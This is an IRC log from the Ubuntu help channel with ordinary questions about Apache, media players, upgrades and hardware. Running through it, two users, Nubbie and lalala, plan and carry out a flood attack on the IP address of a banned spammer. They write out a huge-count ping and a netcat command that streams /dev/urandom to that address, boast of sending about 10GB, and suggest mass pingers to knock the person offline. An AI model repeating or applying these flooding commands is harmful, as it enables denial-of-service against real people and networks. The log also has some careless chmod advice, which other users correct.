[09:12] <Flannel> !ops
[09:12] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda or mneptok
[09:12] <Flannel> Nubbie: just -d not -c
[09:12] <Nubbie> crimsun: you there?
[09:12] <xyz-abc> someone ban lolo for spamming!
[09:13] <Nubbie> thankyou.
[09:13] <DVS01> werd
[09:13] <lalala> hmm
[09:13] <DVS01> why cant they at least spam something interesting
[09:13] <lalala> its not proxied!
[09:13] <Nubbie> rofl
[09:14] <lalala> boots up backtrack 2
[09:14] <lalala> lalala
[09:14] <xyz-abc> help: HPLIP doesn't work in Feisty
[09:14] <Nubbie> lalala: and he accepts pings lol.
[09:14] <Flannel> xyz-abc: #ubuntu+1 for Feisty support
[09:14] <lalala> hehe
[09:14] <xyz-abc> thanks
[09:14] <alleyoop> xyz-abc: Start a terminal session (Applications, Accessories) and type "hp-toolbox". you may need to kill any existing instances in system monitor first (or reboot would do it)
[09:14] <Nubbie> lalala: i personally have much bandwidth to waste tonight. i'mma spam him up.
[09:14] <lalala> lawl
[09:14] <da_shrewd> flannel: why my file httpd.conf in apache2 folder empty?
[09:15] <da_shrewd> flannel: it should have command line
[09:15] <Nubbie> lalala: i'll have his ip in a second.
[09:15] <Flannel> da_shrewd: because ubuntu doesnt use httpd.conf, it uses a combination of apache2.conf, the stuff in /sites-enabled/ and /mods-enabled/
[09:16] <Nubbie> lalala: i'm at his router right now.
[09:16] <Flannel> da_shrewd: Ubuntu uses the debian style of apache config
[09:16] <Madpilot> Flannel, when're you going to go for Membership, anyway?
[09:16] <lalala> k
[09:16] <workinprocess> I know this is common but uh...
[09:16] <Flannel> Madpilot: When they schedule a meeting I can go to? ;)
[09:16] <workinprocess> <- needs help
[09:16] <Nubbie> lalala: 213.8.228.46
[09:17] <Nubbie> :)
[09:17] <lalala> muhahahaha
[09:17] <da_shrewd> flannel: before this, when i use edgy version, I just edited httpd.conf and it works
[09:17] <Flannel> da_shrewd: no you didnt.  Edgy didn't use httpd.conf either
[09:17] <workinprocess> can anyone here help me?
[09:17] <DVS01> how would i recusrively chmod all *directories* to be g+x?
[09:17] <Nubbie> lalala: chances are he has unrestricted vnc access?
[09:18] <lalala> most likely not =/
[09:18] <Nubbie> nah. no ssh either.
[09:18] <workinprocess> <- needs help peoples
[09:18] <Nubbie> lalala: ping -c 342343242394324 213.8.228.46 :)
[09:19] <Madpilot> workinprocess, if you ask an actual question, you stand a better chance of getting actual help.
[09:19] <alleyoop> DVS01: isnt there a switch -R Check out man chmod
[09:19] <DVS01> ahh
[09:19] <DVS01> find -type d -exec chmod g+x {} +
[09:19] <DVS01> this seems to work
[09:19] <Flannel> DVS01: You sure you want to do that?  usually chmod -R is not the answer.
[09:19] <Nubbie> and definitely be careful with -R <--
[09:20] <DVS01> yeah
[09:20] <DVS01> well i am giving everyone in group gamers access to /usr/local/games
[09:20] <DVS01> and i wanted all dirs to be g+x
[09:20] <DVS01> only dirs tho, not files
[09:20] <DVS01> that seems to have done it tho
[09:20] <Nubbie> DVS01: why is that?
[09:20] <DVS01> because i dont want all files to be +x, not all are meant to be executed
[09:21] <Nubbie> no, why give permissions on that folder?
[09:21] <DVS01> because i am sharing cedega across the system, instead of having it store its games in the user's home dir
[09:21] <DVS01> i want all :gamers users to be able to use it
[09:21] <Nubbie> makes sense.
[09:22] <workinprocess> I'm sorry. I figured I'd get someones attention first. Well.. I need help installing a belkin wireless g usb adapter in ubuntu. I am dual booting windows XP sp2(66.6Gb partition) and Ubuntu(10Gb partition). I have no internet when I go to ubuntu because I can't figure out how to install the belking adapter. the cd oviously doesnt work as it was meant for a windows installation.
[09:22] <DVS01> seems to be working
[09:22] <DVS01> elder scrolls oblivion is running =D
[09:22] <Nubbie> lalala: how do i cat /dev/urandom to an external ip?
[09:22] <Nubbie> lalala: :D
[09:22] <Nubbie> DVS01: nice.
[09:22] <workinprocess> and seeing as I am dual booting I need some step by step instructions of what to do because I would have to reboot to get back to ubuntu.
[09:23] <workinprocess> So.. Can anyone help me?
[09:23] <Nubbie> workinprocess: is it one of them crappy usb dongle wifi adapters?
[09:23] <I_Web_> -
[09:23] <I_Web_>                                          www.ask4chat.com
[09:24] <I_Web_> -
[09:24] <DVS01> !ops
[09:24] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda or mneptok
[09:24] <workinprocess> unfortunately...yes... although I am not cetrain what you meant by "dongles."
[09:24] <workinprocess> But It's all I have. and I need some help...
[09:24] <lalala> rofl
[09:24] <Madpilot> same IP as last time. pathetic.
[09:24] <DVS01> ops, please ban *!*@IGLD-83-130-206-206.inter.net.il
[09:24] <ledemente> Hey all, how do I activate Bigpond ADLS on dapper drake?
[09:24] <Nubbie> lalala: so how do i do it?
[09:24] <workinprocess> ah yes and if it wasn't obvious
[09:24] <workinprocess> <- BIG LINUX NOOB
[09:24] <workinprocess> NEWB* sorry....
[09:25] <workinprocess> I will learn. but I don't know where to stat..
[09:25] <workinprocess> start*
[09:25] <Nubbie> lalala: cat /dev/urandom | <externalhost>
[09:25] <Nubbie> :)
[09:25] <DVS01> Madpilot: you know syntax to banning hostmasks?
[09:25] <imon9> hi everyone~ i need recommendation on which sound recoder that is simple and can save into 0gg/mp3/wma/wav and save radio stream
[09:25] <DVS01> /mode #ubuntu +b *!*@IGLD-83-130-206-206.inter.net.il
[09:25] <Madpilot> DVS01, I do, and it's done
[09:25] <DVS01> ahh ok
[09:25] <DVS01> didnt see
[09:25] <Nubbie> imon9: the one that's installed by default with gnome?
[09:25] <elkbuntu> ledemente, sec the info should be around somewhere, just gotta find it
[09:25] <workinprocess> So does anyoen know how to install thist stupid belkins wireless g usb?
[09:25] <Madpilot> DVS01, check the text of the kickban I just served
[09:26] <DVS01> yea i just saw it
[09:26] <DVS01> didnt notice at first
[09:26] <imon9> i also need recommendation on a xine based media player (non-kde) which support playing DVD and mms streams
[09:26] <imon9> Nubbie: the one from gnome only save into wav, isnt it? i am using xubuntu
[09:26] <mdious> workinprocess:  www.tldp.org is a good place to start....
[09:27] <kane77> workinprocess, try starting  here http://ubuntuguide.org/wiki/Ubuntu_Edgy
[09:27] <eck> imon9: no, it saves to many different formats
[09:27] <Nubbie> imon9: i can't read minds you know :)
[09:27] <eck> not wma of course, but all the other ones you listed
[09:27] <kane77> workinprocess, or here http://doc.gwos.org/index.php/Main_Page
[09:28] <Jordan_U> imon9, Why xine based?
[09:28] <workinprocess> i believe i looked at that. I installed ubuntu 6.06 LTS from the CD they sent me. i do not seem to have the ndiswrapper
[09:28] <workinprocess> i know nothing of edgy... whatever that is..
[09:28] <WorldDomination> hey - anybody from germany here ?
[09:28] <elkbuntu> ledemente, you're looking for a tool called bpalogin. it might even be installed already
[09:30] <Cosmo_> in the nvidia-settings it is no longer showing my second monitor or letting me make adjustments to it like I was able to do before, how do I fix this?
[09:32] <da_shrewd> flannel: can u help me to make virtual host
[09:32] <Jordan_U> imon9, Why xine based?
[09:32] <imon9> because xine is the only one that can play real media  (RMVB) instead of RealPlayer
[09:32] <Flannel> da_shrewd: copy the file in /etc/apache2/sites-available in the same folder, name it something else, then edit it
[09:33] <Flannel> da_shrewd: then sudo a2ensite [filename in /sites-available]  to enable that site
[09:33] <Jordan_U> imon9, Can't VLC play real media?
[09:33] <Flannel> Oh, and then restart apache
[09:33] <imon9> nope...vlc cant player readl video
[09:34] <Cosmo_> is the home folder all I should backup incase I run into any problems when fiesty goes live?
[09:34] <da_shrewd> flannel: I host 4 website using 1 IP, so i forgot how to make virtual host.can u help me?
[09:34] <wangensh> sudo /etc/init.d/apache2 reload,ok
[09:35] <eck> imon9: i believe mplayer can play real media... afaik all of totem/mplayer/vlc/xine/etc. use basically the same codec library (libavcodec), so generally the capabilities are pretty similar
[09:35] <imon9> to everyone: actually, i needed xine since it play more wide-range media compared to gstreamer, mplayer, and vlc... however, xine have this funny blue-red-black pixellation on my screen sometime...which i dont really know why...anyone knows?
[09:36] <Flannel> da_shrewd: I just told you how
[09:36] <imon9> me and my friend both tested mplayer with extra codec...it only support realmedia partitally...upto like real v8 codecs
[09:36] <ByPasS> imon9 : what does vlc doesnt play really ?
[09:37] <wangensh> what's long time before 7.04 final release?
[09:37] <kadakas> can anyone recommend a good replacement for SmartFTP ?
[09:37] <wangensh> filezilla
[09:37] <xukun> gftp is very good
[09:37] <eck> kadakas: i generally just use the nautilus ftp client
[09:37] <wangensh> vsftp?
[09:37] <alleyoop> kadakas: i use gftp also
[09:37] <admin0> MC
[09:37] <eck> wangensh: smartftp is a client
[09:38] <wangensh> filezilla is good
[09:38] <admin0> mc is also fine
[09:38] <imon9> ByPass: vlc does not play my RMVB file (real video) it is also stated that it doesnt suport real format in its feature webpage anyway
[09:38] <admin0> works from terminal
[09:38] <imon9> wangensh: use firefox fireftp plugin
[09:38] <eck> imon9: that seems correct, ffmpeg does not support all of the latest realplayer stuff last i checked (during the summer)
[09:39] <ledemente> elkbuntu: bpalogin? Hmmm... o__O
[09:39] <wangensh> i don't like install too many plugin for firefox:)
[09:39] <imon9> eck: yea..and they didnt update the release since summer too
[09:39] <eck> imon9: you need to get the patches from cvs if you want the latest features, it is kind of a mess
[09:39] <ub12> I have 6.06 and i have been doing all my updates. Do I need to do anything special to get the next release of ubuntu or will the updates take care of it?
[09:40] <ledemente> elkbuntu: bpalogin is for cable though...
[09:40] <eck> imon9: a lot of developers work in their own branch and don't sync as often as they should
[09:40] <imon9> wangesh: i used to use fizilla before using fireFTP in firefox...either way i use it since it open as a tab, so i can check my updated website simultaneoly that way
[09:40] <ByPasS> imon9 : i though there was a linux version of real player or i guess ur looking for all in one
[09:41] <elkbuntu> ledemente, ah ok. i've never used bigpond... try looking in the forums, i know there's posts there before about it
[09:41] <imon9> eck:: either way, it doesnt matter, i already got xine to play my latest realvideo codec..now i am using kaffeine..which is all round..but i dislike KDE, so i am asking if anyone who knows a xine-based non-KDE media player
[09:41] <wangensh> edit your source.list,then,sudo apt-get update ,sudo apt-get dist-upgrade
[09:42] <eck> have you tried gxine? i haven't used it, but i have seen it in the repos
[09:42] <imon9> btw, the totem-xine wont play well with real (they did not read my xine conf file and they do not provide possibility to specify path to real codec folder
[09:42] <wangensh> why not download real player linux edition?
[09:43] <imon9> coz in xubuntu 7.04, the xfce has a conflict with realplay and it wont show the windows after install
[09:43] <ub12> is there a way to automatically update my sources list. It says dapper. I don't trust doing it by hand
[09:43] <da_shrewd> flannel: can u login my machine n make it for me? I feel difficulties
[09:43] <imon9> i love xfmedia (but i wont associate with mms streams
[09:44] <imon9> maybe i will try gxine again
[09:44] <wangensh> oh..
[09:46] <wangensh> http://cdimage.ubuntu.com/daily-live/current/          will be the last release?
[09:46] <eck> ub12: it is pretty easy to do it by hand, i wouldn't worry about it. if you want you can just doa search and replace
[09:47] <wangensh> no update since 15 Apr
[09:47] <kraypius> I have read write permission on a file and the directories that contain it and its saying i dont
[09:48] <eck> kraypius: check that the directories are exectuable and there are no attributes on the file
[09:48] <ub12> eck thanks I found how to upgrade from dapper to edgy by using "gksu" command. I will try that
[09:48] <wangensh> sudo chmod -R 777 your-directories
[09:48] <eck> wangensh: not a good idea
[09:48] <wangensh> sudo chmod -R o+rw your-directories
[09:49] <eck> wangensh: also not a good idea -- it is better to fix the problem than anyone read and write to the directories
[09:49] <wangensh> o+rw only the owner
[09:50] <wangensh> not anyone
[09:50] <Cosmo_> is the home folder all I should backup incase I run into any problems when fiesty goes live?
[09:50] <eck> o is other, u is user
[09:50] <eck> so o is anyone :-)
[09:50] <wangensh> oh..... i need read the help...
[09:50] <eck> Cosmo_: i would backup /etc too
[09:51] <Rivethead> is there just a chat channel on irc.ubuntu ? just a chan where ppl that are up late or whatever go to bs lol ?
[09:51] <eck> Cosmo_: that is probably it unless you are running server software that has data in /var
[09:52] <eck> Rivethead: the irc network is part of freenode, there are lots of channels, most of which are not ubuntu related
[09:52] <imon9> gxine wont even play wmv...holy cow
[09:52] <Rivethead> yeah, im scrollin through the list lol.. was just seein if anyone had suggestions.
[09:53] <Cosmo_> in the nvidia-settings it is no longer showing my second monitor or letting me make adjustments to it like I was able to do before, how do I fix this?
[09:53] <eck> imon9: maybe if you build it yourself, it could be that the version of gxine in the repos just doesn't have the nonfree stuff compiled in
[09:53] <mc44> Rivethead: #ubuntu-offtopic
[09:53] <imon9> eck: oh crap :p
[09:54] <imon9> anyway: anyone know why while playing video, there is this peculiar blue distortion when playback with xine?
[09:54] <imon9> any fix?
[09:54] <mc44> imon9: use vlc instead? :p
[09:55] <imon9> mc44: vlc cant play realmedia (real video)
[09:55] <Rivethead> mc44: thanks :)
[09:55] <Nubbie> lalala: you there?
[09:55] <mc44> imon9: yeah, real media isnt that well supported unfortunately
[09:56] <lalala> yeah
[09:56] <Nubbie> teee heee hee
[09:56] <lalala> what u been doing to him rofl
[09:56] <Nubbie> cat /dev/urandom | nc -u 213.8.228.46 88888
[09:56] <Nubbie> thats what.
[09:56] <Nubbie> and i've been pinging him
[09:56] <lalala> he must be lagging like shit
[09:57] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16215/
[09:57] <Nubbie> like 60% packet loss off that little pecker..
[09:57] <lalala> we should get mass pingers and boot him offline
[09:57] <mrossow> hi all
[09:57] <Nubbie> lalala i'm going 4.5mb/s at him.
[09:57] <Nubbie> pure urandom goodness,.
[09:58] <BenjaminJohnston> Do you guys know about scanner support in feisty? I can't find much on it.
[09:58] <lalala> LOL!
[09:58] <lalala> ha
[09:58] <Nubbie> !xsane | benjaminjohnston
[09:58] <ubotu> benjaminjohnston: Scanning software: XSane, the gimp, Kooka. For instructions see https://help.ubuntu.com/community/ScanningHowTo and to see supported hardware: https://wiki.ubuntu.com/HardwareSupportComponentsScanners
[09:58] <BenjaminJohnston> Ah yes, I'm familiar with these utils
[09:59] <BenjaminJohnston> I came from edgy
[09:59] <BenjaminJohnston> with the same problem
[09:59] <Nubbie> theres a nicer looking GTK utility though
[09:59] <Nubbie> forget it's name
[09:59] <Nubbie> gnome-scan
[09:59] <Nubbie> i believe.
[09:59] <BenjaminJohnston> I just really hate how i have to use vista on another disk to scan film
[09:59] <BenjaminJohnston> i really, really don't like vista
[09:59] <eck> importing scanning support is one of the focuses for the next gnome release:-)
[09:59] <Nubbie> lalala: can you ping him? i'm not sure if the packet loss is just from me sending so much
[09:59] <eck> s/importing/improving/
[09:59] <BenjaminJohnston> awesome
[10:00] <Nubbie> i've never used/seen vista, so thats saying something.
[10:00] <BenjaminJohnston> Trust me
[10:00] <mrossow> what is vista ? :P
[10:00] <BenjaminJohnston> haha
[10:01] <lalala> unknown host
[10:01] <Nubbie> lalala really?
[10:01] <lalala> yep
[10:01] <BenjaminJohnston> When is the next gnome release supposed to be available.
[10:01] <Nubbie> lol...
[10:01] <lalala> haha
[10:01] <lalala> you stole his internet
[10:01] <lalala> nice job
[10:01] <lalala> hehe
[10:01] <Nubbie> 213.8.228.46
[10:01] <Nubbie> that one?
[10:01] <lalala> ya
[10:01] <Nubbie> rofl.
[10:02] <lalala> nvm im getting something now
[10:02] <lalala> lol
[10:02] <MrOliber> does anyone know much about firefox and kerberos? trying to get kerberos webserver authentication working from an ubuntu client
[10:02] <eck> BenjaminJohnston: in the next release, ~6 months. you can probably get things to work as it is, but scanning support is being integrated into gtk (like printing was for the last release) or something like that
[10:02] <Nubbie> lalala: much packet loss?
[10:02] <lalala> im just doing a ping
[10:02] <BenjaminJohnston> That's what i figured
[10:02] <eck> the idea is that all the apps that could potentially use a scanner should be able to do so easily, instead of the one or two crappy ones that do it now
[10:03] <lalala> 1%
[10:03] <lalala> loss
[10:03] <moo^Min> hi
[10:03] <Nubbie> lalala: oooh :l
[10:03] <SpAc> I'm currently using XMMS... does anyone recommend a better music player?
[10:03] <Nubbie> lalala: still enough to drop his connections.
[10:03] <lalala> yep
[10:03] <Nubbie> spac: banshee
[10:03] <JanDM> Listen :)
[10:03] <Nubbie> the linux community is very divided on everything.
[10:03] <Nubbie> but banshee is the best.
[10:04] <BenjaminJohnston> ^eck   what do you think about trying the driver i use in windows through wine?
[10:04] <Nubbie> :)
[10:04] <eck> no banshee
[10:04] <BenjaminJohnston> I'm going to i think
[10:04] <BenjaminJohnston> might as well try
[10:04] <eck> BenjaminJohnston: I'm not sure, i've never tried that before
[10:04] <Nubbie> what driver?
[10:04] <Nubbie> for what?
[10:04] <SpAc> Nubbie: hahaha... thanks! I don't expect everyone to agree! Just wanted some ideas
[10:04] <BenjaminJohnston> for an epson perfection 4490photo
[10:04] <eck> banshee crashes/freezes a lot and has import problems
[10:04] <Geoffrey2> when patching a kernel source, do I need to download every patch since the last kernel version, or will just the latest patch file work?
[10:05] <SpAc> eck: what is your recommendation?
[10:05] <Nubbie> eck: banshee in dapper repositories has those problems, that was like 7 months ago.
[10:05] <Nubbie> eck: banshee 0.12.1 is very nice.
[10:05] <eck> SpAc: i just use mpd + sonata, but music players are something that people are very divided on -- you'll get a _lot_ of recommendations, because there are a lot of good programs
[10:05] <Nubbie> gmpd <--?
[10:05] <eck> Nubbie: I have a bug on it in launchpad that is still open
[10:05] <SpAc> eck: ok... i quite like mpd, so I might give sonata a go
[10:06] <Nubbie> eck: banshee? what bug?
[10:06] <eck> Nubbie: probably 1/3 of my library will not be imported
[10:06] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16215/
[10:06] <da_shrewd> flannel: http://paste.ubuntu-nl.org/16215/
[10:06] <JanDM> but he uses xmms now, shouldn't we recommend audacious then?
[10:06] <Nubbie> eck: ohhh thats your bug? i filed confirming it. but only for like 5 tracks, all from the same album
[10:06] <SpAc> i kind of wanted something nice and compact like XMMS
[10:06] <Nubbie> eck: i think your mp3 encoding is crappy maybe. but like i said in the bug, there should be tolerance.
[10:06] <SpAc> ... as much as I love whitespace ;)
[10:06] <Nubbie> because gstreamer still plays the files.
[10:06] <eck> Nubbie: https://bugs.launchpad.net/ubuntu/+source/banshee/+bug/63588
[10:07] <eck> Nubbie: it _plays_ them, it won't import the files
[10:07] <MrOliber> does anyone know much about firefox and kerberos? trying to get kerberos webserver authentication working from an ubuntu client
[10:07] <Nubbie> yes same error here.
[10:07] <eck> Nubbie: they are a bunch of tracks I encoded with the faac command line client
[10:08] <Nubbie> eck: why don't you file with banshee's bug reports?
[10:08] <Nubbie> eck: ubuntu isn't going to fix a bug like this.
[10:08] <BenjaminJohnston> Also... can i find an iso of feisty anywhere yet? or do i need to just wait a day or so? I keep wrecking x trying to get my onboard video card to work well on my edgy machine at work.
[10:08] <Nubbie> eck: they'd appreciate the feedback i'm sure.
[10:08] <eck> Nubbie: I am not ambitious enough to try to build it myself to reproduce it. there are also other outstanding problems (like freezing on malformed id3 tags)
[10:09] <imsdle> can anyone tell me why im getting a failed to initialise HAL on boot?
[10:10] <Nubbie> lalala: hows the packet loss doing?
[10:10] <lalala> still 1%
[10:10] <eck> actually that might be a problem in libid3tag, I had gtkpod basically halt on the same files
[10:10] <Nubbie> :l
[10:11] <Nubbie> eck: banshee now uses taglib-sharp
[10:12] <Nubbie> lalala: i think the guy got the point :)
[10:12] <lalala> yeah
[10:12] <Nubbie> lalala: plus i don't want my ISP turning me off :)
[10:12] <lalala> nah they wount
[10:12] <`davo> Hi
[10:12] <Steil> does anyone here use full disk encryption?
[10:12] <`davo> Will I be able to update to 7.04 from apt-get?
[10:12] <Nubbie> steil: ask your question
[10:12] <Nubbie> `davo: yeah, you can right now if you want.
[10:13] <`davo> apt-get then what?
[10:13] <Nubbie> `davo: i don't know if it's been released final then.
[10:13] <Nubbie> `davo: use sudo update-manager -d
[10:13] <`davo> Ah
[10:13] <imsdle> can anyone tell me why im getting a failed to initialise HAL on boot?
[10:13] <Nubbie> lalala: i sent at least 10GB at him, because my GB counter rolled over.
[10:13] <`davo> Well the site, which I haven't checked since last night says 'tommorow', so I really don't know if that was set to kick in at midnight their time, or what.
[10:13] <Steil> How badly does full disk encryption affect performance, and what kind of software is available for it
[10:14] <lalala> wow
[10:14] <JanDM> feisty has not been released
[10:14] <`davo> anyway, thanks Nubbie
[10:14] <mc44> `davo: no it hasnt been released yet
[10:14] <JanDM> yet
[10:14] <`davo> ah alright.
[10:14] <`davo> one more question
[10:14] <`davo> how do I set what programs to open on start up?
[10:14] <Rivethead> Question: is there a guide online or a way to allow multiple devices to use the sound device at the same time? LIke have Ekiga up and play a movie?
[10:14] <Nubbie> system > preferences > session
[10:14] <Chapayev> hi - need to install nvidia 128 pro drvr for 6.06...?
[10:14] <mc44> !startup | `davo
[10:14] <ubotu> `davo: To add programs to start up when you log into your Gnome session go to System>Preferences>Sessions and use the Startup Programs tab. For more information, see https://help.ubuntu.com/community/AddingProgramToSessionStartup
[10:15] <`davo> nice, thanks :)
[10:15] <Nubbie> rivethead: are you having problems?
[10:15] <JanDM> I like that bot, is there a list of available commands? :P
[10:15] <Nubbie> jandm: not for playing :)
[10:15] <Rivethead> Yeah id like to have multiple programs that use sound running at the same time, but i cant seem to figure out how to do that easily.
[10:16] <JanDM> no no when I need them ;)
[10:16] <sciboy> =(
[10:16] <eck> !bot
[10:16] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[10:16] <mc44> !bot | JanDM
[10:16] <ubotu> JanDM: please see above
[10:16] <JanDM> thanks
[10:16] <Rivethead> I had Ekiga open earlier and i cant play a movie now cause it says " The sound device is in use "
[10:16] <Nubbie> rivethead: you have something stealing your sound card.
[10:16] <sciboy> No 3D for me.
[10:16] <Rivethead> yeah
[10:16] <Nubbie> !esd | rivethead
[10:16] <sciboy> =(
[10:16] <ubotu> rivethead: esd is the enlightened sound deamon. It's deprecated, use !alsa instead
[10:16] <Nubbie> :l
[10:16] <Nubbie> !info esd-alsa
[10:16] <Nubbie> i think...
[10:16] <ubotu> Package esd-alsa does not exist in edgy, edgy-backports, edgy-seveas
[10:16] <Nubbie> blah
[10:16] <Nubbie> somebody remember how to fix that?
[10:17] <Rivethead> So there is a way to do it though?
[10:17] <Chapayev> nice to see we're havin fun w the bot
[10:17] <Nubbie> rivethead: yes it's quite simple, i just can't recall...
[10:17] <mc44> Nubbie: change ekiga to not use esd perhaps?
[10:17] <Chapayev> !nvidia | Chapayev
[10:17] <Nubbie> ekiga is using esd?
[10:17] <Rivethead> ALSA i belive
[10:17] <mc44> shouldnt be
[10:17] <lalala> !gcc
[10:17] <ubotu> Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[10:18] <eck> Nubbie: i'm building banshee right now, if I can replicate the problems I will file bug reports upstream tomorrow :-)
[10:18] <Rivethead> yeah its using the alsa plugin
[10:18] <Nubbie> eck: banshee's come a long way since 0.11.0
[10:19] <`davo> um..any mario fans in the house? you WILL enjoy this http://www.quixoticals.com/2007/04/most-frustrating-super-mario-mod-ever.html
[10:19] <Nubbie> lalala: he's pinging back to normal
[10:19] <Nubbie> !spam | `davo
[10:20] <Nubbie> where is my robot?
[10:20] <Nubbie> :o
[10:20] <`davo> uh oh, can't do that?
[10:20] <lalala> he died
[10:20] <ubotu> `davo: Unsure how you should behave on this channel? See !CoC, !Guidelines, !Offtopic, !Language, !Attitude, !Repeat, !Enter, !Paste, !NickSpam, !AskTheBot - and most importantly, use common sense :-)
[10:20] <lalala> lol
[10:20] <`davo> apologies.
[10:20] <eck> wow, building it took a lot less time than i though -- i guess that's one of the perks of mono
[10:20] <`davo> Doing the update to 7.04, and I got "Authenticating the upgrade failed. There may be a problem with the network or with the server. "
[10:20] <Nubbie> `davo: that would be appropriate in #ubuntu-offtopic however :)
[10:20] <`davo> alright thanks lol
[10:20] <lalala> it isnt released?
[10:21] <`davo> someone said I could get it
[10:21] <Nubbie> its being released within 24 hours
[10:21] <sorcerer> does anyone play unreal tournamt 2004 ?
[10:21] <Rivethead> is there a command to just release the sound card i suppose?
[10:22] <sorcerer> i mean not have played but still pay the game ?
[10:22] <Nubbie> !info nexuiz | sorcerer (try this guy!)
[10:22] <ubotu> sorcerer (try this guy!): nexuiz: A 3d network deathmatch game. In component universe, is optional. Version 2.0-1 (edgy), package size 620 kB, installed size 1636 kB
[10:22] <Rivethead> sorcerer: i do sometime.
[10:22] <lalala> !info tremulous
[10:22] <ubotu> tremulous: Aliens vs Humans, team based FPS game with elements of an RTS. In component multiverse, is optional. Version 1.1.0-2 (edgy), package size 1153 kB, installed size 2740 kB
[10:22] <Nubbie> aww nice
[10:22] <mc44> `davo: you need to update to the latest update-manager
[10:23] <sorcerer> RiverRat: i mean .. is there a single player or yuou have to play with other peeople over the net and o ppl still play this game ..
[10:23] <pavs> when i click "desktop effects" in fiesty is says "the composite extension  is not available" what does it mean?
[10:23] <Chapayev> how do i look up "Device PCI ID"s  ??
[10:23] <sorcerer> and anyone here plays warcraft 3 ?
[10:23] <lalala> me
[10:23] <lalala> frozen
 `davo: you need to update to the latest update-manager
[10:23] <`davo> and I'd do that...how?
[10:23] <mc44> `davo: are you on edgy?
[10:23] <Nubbie> lalala: thats a fun game?
[10:23] <`davo> if by that, you mean 6.10
[10:23] <`davo> yes
[10:23] <lalala> yeah
[10:23] <Nubbie> lalala: i've been trying to find more games like this.
[10:24] <RiverRat> sorcerer: Single player?  I don't play with myself!  :x
[10:24] <mc44> `davo: run the update manager in systems -> admin
[10:24] <Chapayev> pavs do u have nvidia?
[10:24] <RiverRat> sorcerer: j/k
[10:24] <Nubbie> lalala: i've been hooked on neverball for years now.
[10:24] <Nubbie> !info neverball
[10:24] <ubotu> neverball: 3D arcade games: neverball & neverputt. In component universe, is optional. Version 1.4.0-2ubuntu2 (edgy), package size 158 kB, installed size 468 kB
[10:24] <lalala> whats that?
[10:24] <pavs> chapayev no ATI
[10:24] <Nubbie> lalala: 3 words: super monkey ball.
[10:24] <lalala> what types of games you like?
[10:24] <Nubbie> and golf.
[10:24] <sorcerer> does anyone have a .. kiba dock or someth other cool docks .. are they hard to set up .. ?
[10:24] <ypSami> Is it tomorrow yet?
[10:25] <Chapayev> pavs i saw somethin about it here https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[10:25] <Nubbie> sorcerer: avant-window-navigator is cool.
[10:25] <lalala> they should do a count down timer
[10:25] <Nubbie> sorcerer: you need either beryl or compiz running though.
[10:25] <Nubbie> its been tomorrow here for quite some time.
[10:25] <`davo> so mc44
[10:25] <`davo> I update stuff, then upgrade?
[10:25] <pavs> chapayev i will check it out now thanks
[10:25] <Nubbie> but south african time...
[10:25] <lalala> yesterday it said 3 days
[10:25] <Nubbie> i think it's still late last night.
[10:25] <mc44> `davo: right
[10:25] <`davo> thanks
[10:26] <sorcerer> Nubbie: i have beryle and screenlets .. installed ..
[10:26] <sorcerer> iam trying to make my system look soo different from windows lol
[10:26] <ypSami> Also, I need to reinstall my OS tonight (I got a little too crazy with non-package installs), and so I was wondering if I could install edgy, and fiesty would upgrade seamlessly?
[10:26] <Nubbie> sorcerer: so try out AWN.
[10:26] <Nubbie> sorcerer: then get rid of KDE.
[10:27] <sorcerer> i dont have kde i have gnome
[10:27] <Nubbie> ypsami: basically.
[10:27] <lalala> can you have both kde and gnome?
[10:27] <ypSami> basically isn't "perfectly" which is what I want to hear =D
[10:27] <Nubbie> lalala: yes.
[10:27] <lalala> ahh
[10:27] <lalala> dont they interfere?
[10:28] <Nubbie> xubuntu-desktop kubuntu-desktop and ubuntu-desktop are the meta packages.
[10:28] <nizo> whats is the command in my.cnf in mysql to ignore the charecters case ?
[10:28] <Nubbie> lalala: kde programs are ultra ugly in gnome, and in general. other than that not really. other than having to run twice the amount of system services.
[10:28] <nizo> the case sentesive
[10:29] <ypSami> So what would be the drawback to installing edgy, then upgrading to fiesty?
[10:30] <Nubbie> ypsami: if you use update-manager, none really.
[10:30] <ypSami> right on
[10:30] <lalala> wount it have plenty of left over files?
[10:30] <Nubbie> not really.
[10:31] <lalala> I should reinstall my whole system
[10:31] <lalala> just for security purposes
[10:31] <ypSami> Man. You know, I left the proprietary world a year ago. Haven't used windows for anything except counter-strike, and I'm still happy.
[10:31] <Nubbie> all abandoned packages are removed, and all upgraded ones usually just replace the files themselves.
[10:31] <lalala> ahh
[10:31] <Nubbie> ypsami: you can run steam in linux i believe.
[10:31] <lalala> wine!
[10:31] <lalala> Cedega
[10:31] <Nubbie> or that.
[10:31] <florian_> Hello!
[10:32] <ypSami> Nubbie: I tried it, couldn't get it to run
[10:32] <lalala> hallo!
[10:32] <lalala> ?
[10:32] <ypSami> wine doesn't run it properly
[10:32] <lalala> 6.10?
[10:32] <florian_> I tried the latest feisty release, don't know is ist a bug or feature but:
[10:32] <florian_> all my /dev/hda .. devices are recogniced as /dev/sda ...
[10:33] <DVS01> is there a linux equivalent to securecrt?
[10:33] <florian_> lalala talking to me? No feisty 20060415
[10:33] <mc44> florian_: its a feature
[10:34] <mc44> florian_: assuming everything works ok? :)
[10:34] <florian_> mc44 Hmm related to harddisks everithing works so far ...
[10:35] <florian_> I have some Probelems with the ipw 2100 Wireless I hadn't before (6.10
[10:35] <mc44> florian_: not a bug then :)
[10:35] <florian_> Reconecting every 5 Minutes ...
[10:36] <Cam> My programs that are running in the backround disappeared on my panel..help!!!!!
[10:36] <Cam> any suggestions?
[10:36] <Cam> such as firestarter....and gaim....
[10:36] <Cam> they used to appead on my panel in gnome
